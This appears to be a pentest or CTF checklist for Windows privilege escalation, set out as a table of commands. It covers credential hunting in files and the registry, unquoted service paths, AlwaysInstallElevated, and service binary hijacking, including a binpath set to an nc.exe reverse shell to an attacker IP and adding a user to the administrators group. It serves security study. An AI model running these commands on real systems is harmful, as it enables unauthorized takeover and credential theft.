Windows Priv Esc Check-List

> *“It always seems impossible until it’s done.” - Nelson Mandela*

Download the PDF at the bottom of the page. Download and start marking check for your next windows privilege escalation phase. ;)

Check-List

Method	Commands	Approach	ToDo	Mar
Host Information and Enumeration	`systeminfo`	Manual	1. Copy output in your attacking machine for further use. 2. Note the architecture of the machine.	☐
Host Information and Enumeration	`whoami` `whoami /groups`	Manual	Note if you are in Admin group.	☐
Host Information and Enumeration	`hostname`	Manual	Note the hostname and domain.	☐
Host Information and Enumeration	`wmic logicaldisk get Caption`	Manual	Checked all the Partition of this machine.	☐
Host Information and Enumeration	`net user <username>`	Manual	Check Local and Global group membership	☐
Host Information and Enumeration	`net localgroup <username>`	Manual	Check Local groups for a user	☐
Host Information and Enumeration	`dir /R` `more < <datastream_file>`	Manual	1. Check if any ADS(Alternate Data Stream) file in the directory 2. View the contents using more command	☐
Hot Fixes	`wmic qfe get Caption,Description,HotFixId,InstalledOn`	Manual	Search for Outdated HotFix.	☐
Network Enumeration	`ipconfig /all`	Manual	Check detail info about IP Address	☐
Network Enumeration	`arp -a`	Manual	Check arp table and all connections	☐
Network Enumeration	`route print`	Manual	Check routes	☐
Network Enumeration	`netstat -ano`	Manual	Check connections, internal and external port can be used for port forwarding	☐

Method	Commands	Approach	ToDo	Mar
Password Hunting	`findstr /si password *.txt *.ini *.config *.xml`	Manual	Find the phrase "password" in files of current dir	☐
Password Hunting	`findstr /spin "password" *.*`	Manual	Find password phrase in all files	☐
Password Hunting	`c:\sysprep.inf` `c:\sysprep\sysprep.xml` `c:\unattend.xml` `%WINDIR%\Panther\Unattend\Unattended.xml` `%WINDIR%\Panther\Unattended.xml` `dir c:\*vnc.ini /s /b` `dir c:\*ultravnc.ini /s /b` `dir c:\ /s /b | findstr /si *vnc.ini`	Manual	Explore these files for passwords	☐
Password Hunting	`reg query "HKCU\Software\ORL\WinVNC3\Password"`	Manual	Explore password for VNC	☐
Password Hunting	`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"`	Manual	Windows Autologon	☐
Password Hunting	`reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"`	Manual	SNMP Parameters	☐
Password Hunting	`reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"`	Manual	Putty	☐
Password Hunting	`reg query HKLM /f password /t REG_SZ /s` `reg query HKCU /f password /t REG_SZ /s`	Manual	Passwords in registery	☐
Firewall and AV Enumeration	`sc query windefend`	Manual	Service Query to check windows defender	☐
Firewall and AV Enumeration	`sc queryex type= service`	Manual	Service Query to list all services using	☐
Firewall and AV Enumeration	`netsh firewall show state` `netsh advfirewall firewall dump`	Manual	Check Firewall Status	☐
Firewall and AV Enumeration	`netsh firewall show config`	Manual	Check Firewall Configurations	☐
Kernel Exploit	`winPEAS.exe`	Tool	winPEASwinPEASE - Kernel Vulnerabilities Tool Download: Link	☐
Kernel Exploit	`./windows-exploit-suggester.py --update` `pip install xlrd --upgrade` `./windows-exploit-suggester.py --database <database>.xls --systeminfo <sysinfo file>.txt`	Tool	1. Download Link 2. Update the database 3. Install pip xlrd 4. Include updated xls and file having sysinfo output	☐
Kernel Exploit		Manual/Tool	1. SecWiki 2. zerosum0x0 3. abatchy17 #precompiled 4. rasta-mouse	☐
Unquoted Service Path	`. .\powerup.ps1`	Tool	Place the executable file with the first name of the directory ex: C:\help\test me\service.exe Place the executable as test.exe in "help" directory to trick the system to execute the file when service starts	☐
Unquoted Service Path	`wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" |findstr /i /v """`	Manual	Place the executable file with the first name of the directory ex: C:\help\test me\service.exe Place the executable as test.exe in "help" directory to trick the system to execute the file when service starts	☐

Method	Commands	Approach	ToDo	Mar
WSL	`where /R c:\windows bash.exe` `where /R c:\windows wsl.exe`	Manual	Try to access and explore the WSL	☐
Check Privileges	`whoami /priv`	Manual	1. Check Privileges Current User Have for Token Impersonation. 2. Does it has `SeImperonate` or `SeAssignPrimaryToken`. If yes, try Juicy Potato Attack. 3. Else Understand Privileges from this link	☐
Check Privileges	`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated` `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated`	Manual	This will work only if both registry keys value have "AlwaysInstallElevated" with DWORD as 1 to install .MSI as SYSTEM.	☐
Check Privileges	`cmdkey /list` `C:\Windows\System32\runas.exe /user:<username>\Administrator /savecred "C:\Windows\System32\cmd.exe" /c TYPE <C:\Users\Administrator\Desktop\root.txt> > <output_file_in_writable_dir>"`	Manual	1. List currently stored creds of administrator users if it exists. 2. Run cmd as that user	☐
Autorun	`C:\Users\User\Desktop\Tools\Autorun\Autorun64.exe` `C:\Users\User\Desktop\Tools\Accesschk\Accesschk64.exe -wvu "<Interesting_program>"`	Manual	1. Download, copy and run the file in compromised machine. 2. Find interesting program running. 3. Download Accesschk and run 4. Replace reverse.exe to that autorun file	☐
PowerUp	`powershell -ep bypass` `. .\PowerUp.ps1` `Invoke-AllChecks`	Tool	Analyze the output	☐
AlwaysInstallElevated	`reg query HKLM\Software\Policies\Microsoft\Windows\Installer` `msiexec /i "path.msi"`	Manual	1. If Value is 0×1 means it is on. 2. Create reverse.msi and listening nc 3. Install the msi	☐
Service Escalation	`powershell -ep bypass` `Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc` `x86_64-w64-mingw32-cc windows_service.c -o x.exe` `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f` `sc start regsvc`	Manual (Pending to attach file)	1. Check `FullControl` on the powershell command 2. Install mingw lib `sudo apt install gcc-mingw-w64` 3. Compile the code for windows service 4. Add Registry and Execute 5. Start Registry 6. User Added 7. Login to the user	☐
Services As Excutable	`powershell -ep bypass` `. .\powerup.ps1`	Manual (Pending to attach file)	1. PowerUp.ps1 to find service which runs executable 2. Replace the executable.	☐
Startup Applications	`icals.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"`	Manual	1. Check if the current user have `(F)` full access to the startup dir 2. Put the reverse.exe in the folder 3. Logout and login	☐

Aa Method	Commands	Approach	ToDo	Mar
Binary Path	`accesschk64.exe -uwcv Everyone *` `accesschk64.exe -uwcv <service_name>` `sc qc <service_name>` `sc config <service_name> binpath= "net localgroup administrators <user> /add"` or `"nc.exe <attacker_ip> <port> -e cmd.exe"` `sc start <service_name>` `net localgroup administrator`	Manual	1. Find rw access for a service name with `Everyone` group 2. Check if you can change the configurations 3. Add user to administrator group 4. Start service 5. Check localgroup if you are added in Admin group	☐
Manual Enum		Manual	1. Check files in Program Files 2. Try to understand and exploit the existing software	☐

Author - Bhashit Pandya

https://twitter.com/x30r_